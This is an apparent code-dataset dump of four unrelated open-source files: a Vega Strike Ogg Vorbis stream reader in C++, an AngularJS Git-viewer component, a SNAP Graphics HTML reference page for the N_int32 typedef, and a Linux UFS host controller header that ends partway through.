code
stringlengths
3
1.05M
repo_name
stringlengths
4
116
path
stringlengths
3
942
language
stringclasses
30 values
license
stringclasses
15 values
size
int32
3
1.05M
// // C++ Implementation: Audio::OggStream // #include "config.h" #ifdef HAVE_OGG #include "OggStream.h" #include "OggData.h" #include "config.h" #include <utility> #include <limits> #include <stdlib.h> #include <vorbis/vorbisfile.h> #include "vsfilesystem.h" #ifndef OGG_BUFFER_SIZE #define OGG_BUFFER_SIZE 4096*2*2 #endif namespace Audio { OggStream::OggStream(const std::string& path, VSFileSystem::VSFileType type) throw(Exception) : Stream(path) { if ( file.OpenReadOnly(path, type) <= VSFileSystem::Ok ) throw FileOpenException("Error opening file \"" + path + "\""); oggData = new __impl::OggData(file, getFormatInternal(), 0); // Cache duration in case ov_time_total gets expensive duration = ov_time_total( &oggData->vorbisFile, oggData->streamIndex ); // Allocate read buffer readBufferSize = OGG_BUFFER_SIZE; readBufferAvail = 0; readBuffer = malloc(readBufferSize); } OggStream::~OggStream() { // destructor closes the file already delete oggData; } double OggStream::getLengthImpl() const throw(Exception) { return duration; } double OggStream::getPositionImpl() const throw() { return ov_time_tell( &oggData->vorbisFile ); } void OggStream::seekImpl(double position) throw(Exception) { if (position >= duration) throw EndOfStreamException(); readBufferAvail = 0; switch (ov_time_seek(&oggData->vorbisFile, position)) { case 0: break; case OV_ENOSEEK: throw Exception("Stream not seekable"); case OV_EINVAL: throw Exception("Invalid argument or state"); case OV_EREAD: throw Exception("Read error"); case OV_EFAULT: throw Exception("Internal logic fault, bug or heap/stack corruption"); case OV_EBADLINK:throw CorruptStreamException(false); default: throw Exception("Unidentified error code"); } } void OggStream::getBufferImpl(void *&buffer, unsigned int &bufferSize) throw(Exception) { if (readBufferAvail == 0) throw NoBufferException(); buffer = readBuffer; bufferSize = readBufferAvail; } void OggStream::nextBufferImpl() throw(Exception) { int curStream = oggData->streamIndex; long ovr; switch( ovr = ov_read(&oggData->vorbisFile, (char*)readBuffer, readBufferSize, 0, 2, 1, &curStream) ) { case OV_HOLE: throw CorruptStreamException(false); case OV_EBADLINK: throw CorruptStreamException(false); case 0: throw EndOfStreamException(); default: readBufferSize = ovr; } } }; #endif // HAVE_OGG
vinni-au/vega-strike
vegastrike/src/audio/codecs/OggStream.cpp
C++
gpl-2.0
2,896
angular.module('component').component('getGit', { template: ` <section> <h1>GIT : Repro</h1> <div class="controller" > <div git-repro="user : 'gaetanV',repositories :'angular_directive',branch:'master',path:'angular1/directive/gitRepro.directive.js'" > </div> </div> </section> `, });
gaetanV/angular_directive
angularJs/app/component/getgit.component.ts
TypeScript
gpl-2.0
362
<?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta name="Generator" content="ReWorX 1.1 (021204) - http://www.republico.com" /> <meta name="Originator" content="Microsoft Word 9" /> <title>N_int32</title> <link rel="StyleSheet" type="text/css" href="SNAP%20Graphics%20Architecture.css" /> <script language="JavaScript" src="RePublicoToolbar.js"> </script> <script type="text/javascript" src="RePublico.js"> </script> </head> <body style="tab-interval:.5in;" lang="EN-US" link="blue" vlink="purple" class="rpomain" onbeforeprint="JavaScript:RePublicoOnBeforePrint();" onafterprint="JavaScript:RePublicoOnAfterPrint();" onload="JavaScript:RePublicoTrack('index.html','toc',true);RePublicoShowHide();RePublicoBanner(2);"> <table class="RpoToolbar" cellpadding="0" cellspacing="0" onselectstart="javascript:return false;"> <tr valign="middle"> <td> <table title="Supported Browsers" class="buttonOff" cellpadding="0" cellspacing="0" onmouseover="javascript:mouseoverButton(this);" onmouseout="javascript:mouseoutButton(this);" onmousedown="javascript:mousedownButton(this);" onmouseup="javascript:mouseupButton(this);" href="JavaScript:executeButton('SupportedBrowsers.html','');" onimage="./Images/RpoButtonHomeOn.gif" offimage="./Images/RpoButtonHomeOff.gif"> <tr valign="middle"> <td class="buttonText"> <img hspace="1" height="16" width="16" border="0" alt="Supported Browsers" src="./Images/RpoButtonHomeOff.gif" /> </td> <td class="buttonText"> Home&nbsp;&nbsp;&nbsp; </td> </tr> </table> </td> <td> <table title="N_int16" class="buttonOff" cellpadding="0" cellspacing="0" onmouseover="javascript:mouseoverButton(this);" onmouseout="javascript:mouseoutButton(this);" onmousedown="javascript:mousedownButton(this);" onmouseup="javascript:mouseupButton(this);" href="JavaScript:executeButton('N_int16.html','');" onimage="./Images/RpoButtonPreviousOn.gif" offimage="./Images/RpoButtonPreviousOff.gif"> <tr valign="middle"> <td class="buttonText"> <img hspace="1" height="16" width="16" border="0" alt="N_int16" src="./Images/RpoButtonPreviousOff.gif" /> </td> <td class="buttonText"> Previous&nbsp;&nbsp;&nbsp; </td> </tr> </table> </td> <td> <table title="N_int8" class="buttonOff" cellpadding="0" cellspacing="0" onmouseover="javascript:mouseoverButton(this);" onmouseout="javascript:mouseoutButton(this);" onmousedown="javascript:mousedownButton(this);" onmouseup="javascript:mouseupButton(this);" href="JavaScript:executeButton('N_int8.html','');" onimage="./Images/RpoButtonNextOn.gif" offimage="./Images/RpoButtonNextOff.gif"> <tr valign="middle"> <td class="buttonText"> <img hspace="1" height="16" width="16" border="0" alt="N_int8" src="./Images/RpoButtonNextOff.gif" /> </td> <td class="buttonText"> Next&nbsp;&nbsp;&nbsp; </td> </tr> </table> </td> <td> <table title="Type Definitions" class="buttonOff" cellpadding="0" cellspacing="0" onmouseover="javascript:mouseoverButton(this);" onmouseout="javascript:mouseoutButton(this);" onmousedown="javascript:mousedownButton(this);" onmouseup="javascript:mouseupButton(this);" href="JavaScript:executeButton('TypeDefinitions.html','');" onimage="./Images/RpoButtonUpOn.gif" offimage="./Images/RpoButtonUpOff.gif"> <tr valign="middle"> <td class="buttonText"> <img hspace="1" height="16" width="16" border="0" alt="Type Definitions" src="./Images/RpoButtonUpOff.gif" /> </td> <td class="buttonText"> Up&nbsp;&nbsp;&nbsp; </td> </tr> </table> </td> <td width="100%"> </td> </tr> </table> <div class="Section3"> <p style="tab-stops:'.45in .7in .95in 1.2in';" class="FuncHeading3"> N_int32 </p> <p style="tab-stops:'.45in .7in .95in 1.2in';" class="MethodSection"> Declaration </p> <p style="tab-stops:'.45in .7in .95in 1.2in';" class="Preformatted"> typedef long N_int32 </p> <p style="tab-stops:'.45in .7in .95in 1.2in';" class="MethodSection"> Prototype In </p> <p style="tab-stops:'.45in .7in .95in 1.2in';" class="MsoBodyText"> snap/common.h </p> <p style="tab-stops:'.45in .7in .95in 1.2in';" class="MethodSection"> Description </p> <p style="tab-stops:'.45in .7in .95in 1.2in';" class="MsoBodyText"> Fundamental type definition for a 32-bit signed value. </p> </div> <p class="CitationBody"> Copyright &#169; 2002 SciTech Software, Inc. Visit our web site at <a href="http://www.scitechsoft.com" target="_top">http://www.scitechsoft.com<a> </p> </body> </html>
OS2World/DEV-UTIL-SNAP
docs/snap_ga/html/N_int32.html
HTML
gpl-2.0
5,346
/* SPDX-License-Identifier: GPL-2.0-or-later */ /* * Universal Flash Storage Host controller driver * Copyright (C) 2011-2013 Samsung India Software Operations * Copyright (c) 2013-2016, The Linux Foundation. All rights reserved. * * Authors: * Santosh Yaraganavi <[email protected]> * Vinayak Holikatti <[email protected]> */ #ifndef _UFSHCD_H #define _UFSHCD_H #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/interrupt.h> #include <linux/io.h> #include <linux/delay.h> #include <linux/slab.h> #include <linux/spinlock.h> #include <linux/rwsem.h> #include <linux/workqueue.h> #include <linux/errno.h> #include <linux/types.h> #include <linux/wait.h> #include <linux/bitops.h> #include <linux/pm_runtime.h> #include <linux/clk.h> #include <linux/completion.h> #include <linux/regulator/consumer.h> #include <linux/bitfield.h> #include <linux/devfreq.h> #include <linux/blk-crypto-profile.h> #include "unipro.h" #include <asm/irq.h> #include <asm/byteorder.h> #include <scsi/scsi.h> #include <scsi/scsi_cmnd.h> #include <scsi/scsi_host.h> #include <scsi/scsi_tcq.h> #include <scsi/scsi_dbg.h> #include <scsi/scsi_eh.h> #include "ufs.h" #include "ufs_quirks.h" #include "ufshci.h" #define UFSHCD "ufshcd" #define UFSHCD_DRIVER_VERSION "0.2" struct ufs_hba; enum dev_cmd_type { DEV_CMD_TYPE_NOP = 0x0, DEV_CMD_TYPE_QUERY = 0x1, }; enum ufs_event_type { /* uic specific errors */ UFS_EVT_PA_ERR = 0, UFS_EVT_DL_ERR, UFS_EVT_NL_ERR, UFS_EVT_TL_ERR, UFS_EVT_DME_ERR, /* fatal errors */ UFS_EVT_AUTO_HIBERN8_ERR, UFS_EVT_FATAL_ERR, UFS_EVT_LINK_STARTUP_FAIL, UFS_EVT_RESUME_ERR, UFS_EVT_SUSPEND_ERR, UFS_EVT_WL_SUSP_ERR, UFS_EVT_WL_RES_ERR, /* abnormal events */ UFS_EVT_DEV_RESET, UFS_EVT_HOST_RESET, UFS_EVT_ABORT, UFS_EVT_CNT, }; /** * struct uic_command - UIC command structure * @command: UIC command * @argument1: UIC command argument 1 * @argument2: UIC command argument 2 * @argument3: UIC command argument 3 * @cmd_active: Indicate if UIC command is outstanding * @done: UIC command completion */ struct uic_command { u32 command; u32 argument1; u32 argument2; u32 argument3; int cmd_active; struct completion done; }; /* Used to differentiate the power management options */ enum ufs_pm_op { UFS_RUNTIME_PM, UFS_SYSTEM_PM, UFS_SHUTDOWN_PM, }; /* Host <-> Device UniPro Link state */ enum uic_link_state { UIC_LINK_OFF_STATE = 0, /* Link powered down or disabled */ UIC_LINK_ACTIVE_STATE = 1, /* Link is in Fast/Slow/Sleep state */ UIC_LINK_HIBERN8_STATE = 2, /* Link is in Hibernate state */ UIC_LINK_BROKEN_STATE = 3, /* Link is in broken state */ }; #define ufshcd_is_link_off(hba) ((hba)->uic_link_state == UIC_LINK_OFF_STATE) #define ufshcd_is_link_active(hba) ((hba)->uic_link_state == \ UIC_LINK_ACTIVE_STATE) #define ufshcd_is_link_hibern8(hba) ((hba)->uic_link_state == \ UIC_LINK_HIBERN8_STATE) #define ufshcd_is_link_broken(hba) ((hba)->uic_link_state == \ UIC_LINK_BROKEN_STATE) #define ufshcd_set_link_off(hba) ((hba)->uic_link_state = UIC_LINK_OFF_STATE) #define ufshcd_set_link_active(hba) ((hba)->uic_link_state = \ UIC_LINK_ACTIVE_STATE) #define ufshcd_set_link_hibern8(hba) ((hba)->uic_link_state = \ UIC_LINK_HIBERN8_STATE) #define ufshcd_set_link_broken(hba) ((hba)->uic_link_state = \ UIC_LINK_BROKEN_STATE) #define ufshcd_set_ufs_dev_active(h) \ ((h)->curr_dev_pwr_mode = UFS_ACTIVE_PWR_MODE) #define ufshcd_set_ufs_dev_sleep(h) \ ((h)->curr_dev_pwr_mode = UFS_SLEEP_PWR_MODE) #define ufshcd_set_ufs_dev_poweroff(h) \ ((h)->curr_dev_pwr_mode = UFS_POWERDOWN_PWR_MODE) #define ufshcd_set_ufs_dev_deepsleep(h) \ ((h)->curr_dev_pwr_mode = UFS_DEEPSLEEP_PWR_MODE) #define ufshcd_is_ufs_dev_active(h) \ ((h)->curr_dev_pwr_mode == UFS_ACTIVE_PWR_MODE) #define ufshcd_is_ufs_dev_sleep(h) \ ((h)->curr_dev_pwr_mode == UFS_SLEEP_PWR_MODE) #define ufshcd_is_ufs_dev_poweroff(h) \ ((h)->curr_dev_pwr_mode == UFS_POWERDOWN_PWR_MODE) #define ufshcd_is_ufs_dev_deepsleep(h) \ ((h)->curr_dev_pwr_mode == UFS_DEEPSLEEP_PWR_MODE) /* * UFS Power management levels. * Each level is in increasing order of power savings, except DeepSleep * which is lower than PowerDown with power on but not PowerDown with * power off. */ enum ufs_pm_level { UFS_PM_LVL_0, UFS_PM_LVL_1, UFS_PM_LVL_2, UFS_PM_LVL_3, UFS_PM_LVL_4, UFS_PM_LVL_5, UFS_PM_LVL_6, UFS_PM_LVL_MAX }; struct ufs_pm_lvl_states { enum ufs_dev_pwr_mode dev_state; enum uic_link_state link_state; }; /** * struct ufshcd_lrb - local reference block * @utr_descriptor_ptr: UTRD address of the command * @ucd_req_ptr: UCD address of the command * @ucd_rsp_ptr: Response UPIU address for this command * @ucd_prdt_ptr: PRDT address of the command * @utrd_dma_addr: UTRD dma address for debug * @ucd_prdt_dma_addr: PRDT dma address for debug * @ucd_rsp_dma_addr: UPIU response dma address for debug * @ucd_req_dma_addr: UPIU request dma address for debug * @cmd: pointer to SCSI command * @sense_buffer: pointer to sense buffer address of the SCSI command * @sense_bufflen: Length of the sense buffer * @scsi_status: SCSI status of the command * @command_type: SCSI, UFS, Query. * @task_tag: Task tag of the command * @lun: LUN of the command * @intr_cmd: Interrupt command (doesn't participate in interrupt aggregation) * @issue_time_stamp: time stamp for debug purposes * @compl_time_stamp: time stamp for statistics * @crypto_key_slot: the key slot to use for inline crypto (-1 if none) * @data_unit_num: the data unit number for the first block for inline crypto * @req_abort_skip: skip request abort task flag */ struct ufshcd_lrb { struct utp_transfer_req_desc *utr_descriptor_ptr; struct utp_upiu_req *ucd_req_ptr; struct utp_upiu_rsp *ucd_rsp_ptr; struct ufshcd_sg_entry *ucd_prdt_ptr; dma_addr_t utrd_dma_addr; dma_addr_t ucd_req_dma_addr; dma_addr_t ucd_rsp_dma_addr; dma_addr_t ucd_prdt_dma_addr; struct scsi_cmnd *cmd; u8 *sense_buffer; unsigned int sense_bufflen; int scsi_status; int command_type; int task_tag; u8 lun; /* UPIU LUN id field is only 8-bit wide */ bool intr_cmd; ktime_t issue_time_stamp; ktime_t compl_time_stamp; #ifdef CONFIG_SCSI_UFS_CRYPTO int crypto_key_slot; u64 data_unit_num; #endif bool req_abort_skip; }; /** * struct ufs_query - holds relevant data structures for query request * @request: request upiu and function * @descriptor: buffer for sending/receiving descriptor * @response: response upiu and response */ struct ufs_query { struct ufs_query_req request; u8 *descriptor; struct ufs_query_res response; }; /** * struct ufs_dev_cmd - all assosiated fields with device management commands * @type: device management command type - Query, NOP OUT * @lock: lock to allow one command at a time * @complete: internal commands completion */ struct ufs_dev_cmd { enum dev_cmd_type type; struct mutex lock; struct completion *complete; struct ufs_query query; }; /** * struct ufs_clk_info - UFS clock related info * @list: list headed by hba->clk_list_head * @clk: clock node * @name: clock name * @max_freq: maximum frequency supported by the clock * @min_freq: min frequency that can be used for clock scaling * @curr_freq: indicates the current frequency that it is set to * @keep_link_active: indicates that the clk should not be disabled if link is active * @enabled: variable to check against multiple enable/disable */ struct ufs_clk_info { struct list_head list; struct clk *clk; const char *name; u32 max_freq; u32 min_freq; u32 curr_freq; bool keep_link_active; bool enabled; }; enum ufs_notify_change_status { PRE_CHANGE, POST_CHANGE, }; struct ufs_pa_layer_attr { u32 gear_rx; u32 gear_tx; u32 lane_rx; u32 lane_tx; u32 pwr_rx; u32 pwr_tx; u32 hs_rate; }; struct ufs_pwr_mode_info { bool is_valid; struct ufs_pa_layer_attr info; }; /** * struct ufs_hba_variant_ops - variant specific callbacks * @name: variant name * @init: called when the driver is initialized * @exit: called to cleanup everything done in init * @get_ufs_hci_version: called to get UFS HCI version * @clk_scale_notify: notifies that clks are scaled up/down * @setup_clocks: called before touching any of the controller registers * @hce_enable_notify: called before and after HCE enable bit is set to allow * variant specific Uni-Pro initialization. * @link_startup_notify: called before and after Link startup is carried out * to allow variant specific Uni-Pro initialization. * @pwr_change_notify: called before and after a power mode change * is carried out to allow vendor spesific capabilities * to be set. * @setup_xfer_req: called before any transfer request is issued * to set some things * @setup_task_mgmt: called before any task management request is issued * to set some things * @hibern8_notify: called around hibern8 enter/exit * @apply_dev_quirks: called to apply device specific quirks * @suspend: called during host controller PM callback * @resume: called during host controller PM callback * @dbg_register_dump: used to dump controller debug information * @phy_initialization: used to initialize phys * @device_reset: called to issue a reset pulse on the UFS device * @program_key: program or evict an inline encryption key * @event_notify: called to notify important events */ struct ufs_hba_variant_ops { const char *name; int (*init)(struct ufs_hba *); void (*exit)(struct ufs_hba *); u32 (*get_ufs_hci_version)(struct ufs_hba *); int (*clk_scale_notify)(struct ufs_hba *, bool, enum ufs_notify_change_status); int (*setup_clocks)(struct ufs_hba *, bool, enum ufs_notify_change_status); int (*hce_enable_notify)(struct ufs_hba *, enum ufs_notify_change_status); int (*link_startup_notify)(struct ufs_hba *, enum ufs_notify_change_status); int (*pwr_change_notify)(struct ufs_hba *, enum ufs_notify_change_status status, struct ufs_pa_layer_attr *, struct ufs_pa_layer_attr *); void (*setup_xfer_req)(struct ufs_hba *, int, bool); void (*setup_task_mgmt)(struct ufs_hba *, int, u8); void (*hibern8_notify)(struct ufs_hba *, enum uic_cmd_dme, enum ufs_notify_change_status); int (*apply_dev_quirks)(struct ufs_hba *hba); void (*fixup_dev_quirks)(struct ufs_hba *hba); int (*suspend)(struct ufs_hba *, enum ufs_pm_op, enum ufs_notify_change_status); int (*resume)(struct ufs_hba *, enum ufs_pm_op); void (*dbg_register_dump)(struct ufs_hba *hba); int (*phy_initialization)(struct ufs_hba *); int (*device_reset)(struct ufs_hba *hba); void (*config_scaling_param)(struct ufs_hba *hba, struct devfreq_dev_profile *profile, void *data); int (*program_key)(struct ufs_hba *hba, const union ufs_crypto_cfg_entry *cfg, int slot); void (*event_notify)(struct ufs_hba *hba, enum ufs_event_type evt, void *data); }; /* clock gating state */ enum clk_gating_state { CLKS_OFF, CLKS_ON, REQ_CLKS_OFF, REQ_CLKS_ON, }; /** * struct ufs_clk_gating - UFS clock gating related info * @gate_work: worker to turn off clocks after some delay as specified in * delay_ms * @ungate_work: worker to turn on clocks that will be used in case of * interrupt context * @state: the current clocks state * @delay_ms: gating delay in ms * @is_suspended: clk gating is suspended when set to 1 which can be used * during suspend/resume * @delay_attr: sysfs attribute to control delay_attr * @enable_attr: sysfs attribute to enable/disable clock gating * @is_enabled: Indicates the current status of clock gating * @is_initialized: Indicates whether clock gating is initialized or not * @active_reqs: number of requests that are pending and should be waited for * completion before gating clocks. */ struct ufs_clk_gating { struct delayed_work gate_work; struct work_struct ungate_work; enum clk_gating_state state; unsigned long delay_ms; bool is_suspended; struct device_attribute delay_attr; struct device_attribute enable_attr; bool is_enabled; bool is_initialized; int active_reqs; struct workqueue_struct *clk_gating_workq; }; struct ufs_saved_pwr_info { struct ufs_pa_layer_attr info; bool is_valid; }; /** * struct ufs_clk_scaling - UFS clock scaling related data * @active_reqs: number of requests that are pending. If this is zero when * devfreq ->target() function is called then schedule "suspend_work" to * suspend devfreq. * @tot_busy_t: Total busy time in current polling window * @window_start_t: Start time (in jiffies) of the current polling window * @busy_start_t: Start time of current busy period * @enable_attr: sysfs attribute to enable/disable clock scaling * @saved_pwr_info: UFS power mode may also be changed during scaling and this * one keeps track of previous power mode. * @workq: workqueue to schedule devfreq suspend/resume work * @suspend_work: worker to suspend devfreq * @resume_work: worker to resume devfreq * @min_gear: lowest HS gear to scale down to * @is_enabled: tracks if scaling is currently enabled or not, controlled by clkscale_enable sysfs node * @is_allowed: tracks if scaling is currently allowed or not, used to block clock scaling which is not invoked from devfreq governor * @is_initialized: Indicates whether clock scaling is initialized or not * @is_busy_started: tracks if busy period has started or not * @is_suspended: tracks if devfreq is suspended or not */ struct ufs_clk_scaling { int active_reqs; unsigned long tot_busy_t; ktime_t window_start_t; ktime_t busy_start_t; struct device_attribute enable_attr; struct ufs_saved_pwr_info saved_pwr_info; struct workqueue_struct *workq; struct work_struct suspend_work; struct work_struct resume_work; u32 min_gear; bool is_enabled; bool is_allowed; bool is_initialized; bool is_busy_started; bool is_suspended; }; #define UFS_EVENT_HIST_LENGTH 8 /** * struct ufs_event_hist - keeps history of errors * @pos: index to indicate cyclic buffer position * @reg: cyclic buffer for registers value * @tstamp: cyclic buffer for time stamp * @cnt: error counter */ struct ufs_event_hist { int pos; u32 val[UFS_EVENT_HIST_LENGTH]; ktime_t tstamp[UFS_EVENT_HIST_LENGTH]; unsigned long long cnt; }; /** * struct ufs_stats - keeps usage/err statistics * @last_intr_status: record the last interrupt status. * @last_intr_ts: record the last interrupt timestamp. * @hibern8_exit_cnt: Counter to keep track of number of exits, * reset this after link-startup. * @last_hibern8_exit_tstamp: Set time after the hibern8 exit. * Clear after the first successful command completion. */ struct ufs_stats { u32 last_intr_status; ktime_t last_intr_ts; u32 hibern8_exit_cnt; ktime_t last_hibern8_exit_tstamp; struct ufs_event_hist event[UFS_EVT_CNT]; }; /** * enum ufshcd_state - UFS host controller state * @UFSHCD_STATE_RESET: Link is not operational. Postpone SCSI command * processing. * @UFSHCD_STATE_OPERATIONAL: The host controller is operational and can process * SCSI commands. * @UFSHCD_STATE_EH_SCHEDULED_NON_FATAL: The error handler has been scheduled. * SCSI commands may be submitted to the controller. * @UFSHCD_STATE_EH_SCHEDULED_FATAL: The error handler has been scheduled. Fail * newly submitted SCSI commands with error code DID_BAD_TARGET. * @UFSHCD_STATE_ERROR: An unrecoverable error occurred, e.g. link recovery * failed. Fail all SCSI commands with error code DID_ERROR. */ enum ufshcd_state { UFSHCD_STATE_RESET, UFSHCD_STATE_OPERATIONAL, UFSHCD_STATE_EH_SCHEDULED_NON_FATAL, UFSHCD_STATE_EH_SCHEDULED_FATAL, UFSHCD_STATE_ERROR, }; enum ufshcd_quirks { /* Interrupt aggregation support is broken */ UFSHCD_QUIRK_BROKEN_INTR_AGGR = 1 << 0, /* * delay before each dme command is required as the unipro * layer has shown instabilities */ UFSHCD_QUIRK_DELAY_BEFORE_DME_CMDS = 1 << 1, /* * If UFS host controller is having issue in processing LCC (Line * Control Command) coming from device then enable this quirk. * When this quirk is enabled, host controller driver should disable * the LCC transmission on UFS device (by clearing TX_LCC_ENABLE * attribute of device to 0). */ UFSHCD_QUIRK_BROKEN_LCC = 1 << 2, /* * The attribute PA_RXHSUNTERMCAP specifies whether or not the * inbound Link supports unterminated line in HS mode. Setting this * attribute to 1 fixes moving to HS gear. */ UFSHCD_QUIRK_BROKEN_PA_RXHSUNTERMCAP = 1 << 3, /* * This quirk needs to be enabled if the host controller only allows * accessing the peer dme attributes in AUTO mode (FAST AUTO or * SLOW AUTO). */ UFSHCD_QUIRK_DME_PEER_ACCESS_AUTO_MODE = 1 << 4, /* * This quirk needs to be enabled if the host controller doesn't * advertise the correct version in UFS_VER register. If this quirk * is enabled, standard UFS host driver will call the vendor specific * ops (get_ufs_hci_version) to get the correct version. */ UFSHCD_QUIRK_BROKEN_UFS_HCI_VERSION = 1 << 5, /* * Clear handling for transfer/task request list is just opposite. */ UFSHCI_QUIRK_BROKEN_REQ_LIST_CLR = 1 << 6, /* * This quirk needs to be enabled if host controller doesn't allow * that the interrupt aggregation timer and counter are reset by s/w. */ UFSHCI_QUIRK_SKIP_RESET_INTR_AGGR = 1 << 7, /* * This quirks needs to be enabled if host controller cannot be * enabled via HCE register. */ UFSHCI_QUIRK_BROKEN_HCE = 1 << 8, /* * This quirk needs to be enabled if the host controller regards * resolution of the values of PRDTO and PRDTL in UTRD as byte. */ UFSHCD_QUIRK_PRDT_BYTE_GRAN = 1 << 9, /* * This quirk needs to be enabled if the host controller reports * OCS FATAL ERROR with device error through sense data */ UFSHCD_QUIRK_BROKEN_OCS_FATAL_ERROR = 1 << 10, /* * This quirk needs to be enabled if the host controller has * auto-hibernate capability but it doesn't work. */ UFSHCD_QUIRK_BROKEN_AUTO_HIBERN8 = 1 << 11, /* * This quirk needs to disable manual flush for write booster */ UFSHCI_QUIRK_SKIP_MANUAL_WB_FLUSH_CTRL = 1 << 12, /* * This quirk needs to disable unipro timeout values * before power mode change */ UFSHCD_QUIRK_SKIP_DEF_UNIPRO_TIMEOUT_SETTING = 1 << 13, /* * This quirk allows only sg entries aligned with page size. */ UFSHCD_QUIRK_ALIGN_SG_WITH_PAGE_SIZE = 1 << 14, }; enum ufshcd_caps { /* Allow dynamic clk gating */ UFSHCD_CAP_CLK_GATING = 1 << 0, /* Allow hiberb8 with clk gating */ UFSHCD_CAP_HIBERN8_WITH_CLK_GATING = 1 << 1, /* Allow dynamic clk scaling */ UFSHCD_CAP_CLK_SCALING = 1 << 2, /* Allow auto bkops to enabled during runtime suspend */ UFSHCD_CAP_AUTO_BKOPS_SUSPEND = 1 << 3, /* * This capability allows host controller driver to use the UFS HCI's * interrupt aggregation capability. * CAUTION: Enabling this might reduce overall UFS throughput. */ UFSHCD_CAP_INTR_AGGR = 1 << 4, /* * This capability allows the device auto-bkops to be always enabled * except during suspend (both runtime and suspend). * Enabling this capability means that device will always be allowed * to do background operation when it's active but it might degrade * the performance of ongoing read/write operations. */ UFSHCD_CAP_KEEP_AUTO_BKOPS_ENABLED_EXCEPT_SUSPEND = 1 << 5, /* * This capability allows host controller driver to automatically * enable runtime power management by itself instead of waiting * for userspace to control the power management. */ UFSHCD_CAP_RPM_AUTOSUSPEND = 1 << 6, /* * This capability allows the host controller driver to turn-on * WriteBooster, if the underlying device supports it and is * provisioned to be used. This would increase the write performance. */ UFSHCD_CAP_WB_EN = 1 << 7, /* * This capability allows the host controller driver to use the * inline crypto engine, if it is present */ UFSHCD_CAP_CRYPTO = 1 << 8, /* * This capability allows the controller regulators to be put into * lpm mode aggressively during clock gating. * This would increase power savings. */ UFSHCD_CAP_AGGR_POWER_COLLAPSE = 1 << 9, /* * This capability allows the host controller driver to use DeepSleep, * if it is supported by the UFS device. The host controller driver must * support device hardware reset via the hba->device_reset() callback, * in order to exit DeepSleep state. */ UFSHCD_CAP_DEEPSLEEP = 1 << 10, /* * This capability allows the host controller driver to use temperature * notification if it is supported by the UFS device. */ UFSHCD_CAP_TEMP_NOTIF = 1 << 11, }; struct ufs_hba_variant_params { struct devfreq_dev_profile devfreq_profile; struct devfreq_simple_ondemand_data ondemand_data; u16 hba_enable_delay_us; u32 wb_flush_threshold; }; #ifdef CONFIG_SCSI_UFS_HPB /** * struct ufshpb_dev_info - UFSHPB device related info * @num_lu: the number of user logical unit to check whether all lu finished * initialization * @rgn_size: device reported HPB region size * @srgn_size: device reported HPB sub-region size * @slave_conf_cnt: counter to check all lu finished initialization * @hpb_disabled: flag to check if HPB is disabled * @max_hpb_single_cmd: device reported bMAX_DATA_SIZE_FOR_SINGLE_CMD value * @is_legacy: flag to check HPB 1.0 * @control_mode: either host or device */ struct ufshpb_dev_info { int num_lu; int rgn_size; int srgn_size; atomic_t slave_conf_cnt; bool hpb_disabled; u8 max_hpb_single_cmd; bool is_legacy; u8 control_mode; }; #endif struct ufs_hba_monitor { unsigned long chunk_size; unsigned long nr_sec_rw[2]; ktime_t total_busy[2]; unsigned long nr_req[2]; /* latencies*/ ktime_t lat_sum[2]; ktime_t lat_max[2]; ktime_t lat_min[2]; u32 nr_queued[2]; ktime_t busy_start_ts[2]; ktime_t enabled_ts; bool enabled; }; /** * struct ufs_hba - per adapter private structure * @mmio_base: UFSHCI base register address * @ucdl_base_addr: UFS Command Descriptor base address * @utrdl_base_addr: UTP Transfer Request Descriptor base address * @utmrdl_base_addr: UTP Task Management Descriptor base address * @ucdl_dma_addr: UFS Command Descriptor DMA address * @utrdl_dma_addr: UTRDL DMA address * @utmrdl_dma_addr: UTMRDL DMA address * @host: Scsi_Host instance of the driver * @dev: device handle * @lrb: local reference block * @cmd_queue: Used to allocate command tags from hba->host->tag_set. * @outstanding_tasks: Bits representing outstanding task requests * @outstanding_lock: Protects @outstanding_reqs. * @outstanding_reqs: Bits representing outstanding transfer requests * @capabilities: UFS Controller Capabilities * @nutrs: Transfer Request Queue depth supported by controller * @nutmrs: Task Management Queue depth supported by controller * @ufs_version: UFS Version to which controller complies * @vops: pointer to variant specific operations * @priv: pointer to variant specific private data * @irq: Irq number of the controller * @active_uic_cmd: handle of active UIC command * @uic_cmd_mutex: mutex for UIC command * @tmf_tag_set: TMF tag set. * @tmf_queue: Used to allocate TMF tags. * @pwr_done: completion for power mode change * @ufshcd_state: UFSHCD state * @eh_flags: Error handling flags * @intr_mask: Interrupt Mask Bits * @ee_ctrl_mask: Exception event control mask * @is_powered: flag to check if HBA is powered * @shutting_down: flag to check if shutdown has been invoked * @host_sem: semaphore used to serialize concurrent contexts * @eh_wq: Workqueue that eh_work works on * @eh_work: Worker to handle UFS errors that require s/w attention * @eeh_work: Worker to handle exception events * @errors: HBA errors * @uic_error: UFS interconnect layer error status * @saved_err: sticky error mask * @saved_uic_err: sticky UIC error mask * @force_reset: flag to force eh_work perform a full reset * @force_pmc: flag to force a power mode change * @silence_err_logs: flag to silence error logs * @dev_cmd: ufs device management command information * @last_dme_cmd_tstamp: time stamp of the last completed DME command * @auto_bkops_enabled: to track whether bkops is enabled in device * @vreg_info: UFS device voltage regulator information * @clk_list_head: UFS host controller clocks list node head * @pwr_info: holds current power mode * @max_pwr_info: keeps the device max valid pwm * @desc_size: descriptor sizes reported by device * @urgent_bkops_lvl: keeps track of urgent bkops level for device * @is_urgent_bkops_lvl_checked: keeps track if the urgent bkops level for * device is known or not. * @scsi_block_reqs_cnt: reference counting for scsi block requests * @crypto_capabilities: Content of crypto capabilities register (0x100) * @crypto_cap_array: Array of crypto capabilities * @crypto_cfg_register: Start of the crypto cfg array * @crypto_profile: the crypto profile of this hba (if applicable) */ struct ufs_hba { void __iomem *mmio_base; /* Virtual memory reference */ struct utp_transfer_cmd_desc *ucdl_base_addr; struct utp_transfer_req_desc *utrdl_base_addr; struct utp_task_req_desc *utmrdl_base_addr; /* DMA memory reference */ dma_addr_t ucdl_dma_addr; dma_addr_t utrdl_dma_addr; dma_addr_t utmrdl_dma_addr; struct Scsi_Host *host; struct device *dev; struct request_queue *cmd_queue; /* * This field is to keep a reference to "scsi_device" corresponding to * "UFS device" W-LU. */ struct scsi_device *sdev_ufs_device; struct scsi_device *sdev_rpmb; #ifdef 